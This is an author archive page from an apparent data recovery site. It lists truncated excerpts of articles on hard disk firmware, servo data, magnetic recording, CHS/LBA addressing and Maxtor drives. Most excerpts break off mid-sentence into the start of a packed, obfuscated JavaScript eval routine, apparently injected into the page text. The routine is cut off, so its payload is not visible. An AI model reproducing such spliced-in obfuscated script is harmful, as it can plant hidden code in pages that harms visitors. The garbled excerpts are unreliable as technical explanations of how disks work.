Author Archive: sebeanhsiung

What is firmware

Hard disk drives have a microprocessor, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

 

Servo information

Servo information

Modern hard disks use actuators for head eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

 

Magnetic recording

Magnetic recording

To record informations on surfaces a magnetic field is inducted by heads to the surface (changing the poles we change the binary eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

 

CHS & LBA addressing and their conversion algorithms

CHS & LBA addressing and their conversion algorithms

In order to find a single sector we need to know the cylinder, the head the and the sector number for that track (eg.cyl 89 head 2 sector 72), this is called eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

 

Hard disk drive Logical Structure

Hard disk drive Logical Structure

Hard eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

 

How to identify Maxtor Model Number and maxtor donor matching

How to identify Maxtor Model Number and maxtor donor matching

The Maxtor model number is composed by “Series eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

 

How to fix UNKNOWN_HARD_ERROR

In Microsoft Windows, the registry is a hierarchal database, which stores the configuration options and settings. It holds settings for low-level OS components and applications running on platform: device drivers, kernel, SAM (Security Accounts...

 

Top 6 data recovery tips

Top 6 data recovery tips

Data eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

 

When is data recovery necessary

When is data recovery necessary

In many instances, data recovery is not just the most practical protection, detection, and correction option available, it is the only option available. The following are examples of data loss situations during which professional data recovery...

 

Data recovery can be the most practical option available for data security

Data recovery can be the most practical option available for data security

From the previous article, we can find the strengths eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...